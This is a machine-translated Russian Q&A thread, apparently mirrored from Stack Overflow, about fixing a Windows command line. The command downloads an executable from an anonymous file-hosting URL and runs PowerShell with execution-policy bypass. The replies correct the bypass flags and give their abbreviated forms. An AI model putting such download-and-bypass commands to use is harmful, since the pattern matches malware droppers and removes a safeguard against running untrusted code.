2017-01-28 10 views
1
Get-ExecutionPolicy : A positional parameter cannot be found that accepts argument 'ByPass'. 

Это ошибка, я получаю, когда я пытаюсь запустить команду:Командная строка/PowerShell Позиционный параметр не может быть найдена ошибка

cd/& mkdir win & cd win & echo (wget 'https://alterupload.com/?t7p0e1rh01' -OutFile a.exe) > b.PS1 &powershell ExecutionPolicy CurrentUser ByPass -File b.ps1" 

Не совсем уверен, что делать об этом, я бегу окна 10-летие издание

ответ

-2

Мое предложение было бы просто использовать Set-ExecutionPolicy Bypass -Scope Process -Force. Трудно ошибиться с классикой.

+0

Благодаря! Он исправил эту проблему, но появилась другая проблема. –

+0

Он возвращает это: Get-ExecutionPolicy: не может быть найден позиционный параметр, который принимает аргумент «CurrentUser». –

+0

Не вводите текущего пользователя в обход политики выполнения. Это необязательно, так как система по умолчанию использует текущего пользователя. – DeepS1X

0

Вам необходимо использовать &powershell -ExecutionPolicy bypass, вам не нужно устанавливать область действия политики выполнения, так как эта политика будет работать только для этого файла powershell.exe, а не применима глобально к системе.

+0

@ Космонавт. Даже если более загадочные параметры могут быть сокращены до тех пор, пока они являются однозначно идентифицируемыми, поэтому 'powershell -ex by -nol -noe -nop' эквивалентен' powershell -executionpolicy bypass -nologo -noexit -noprofile' – LotPings

Смежные вопросы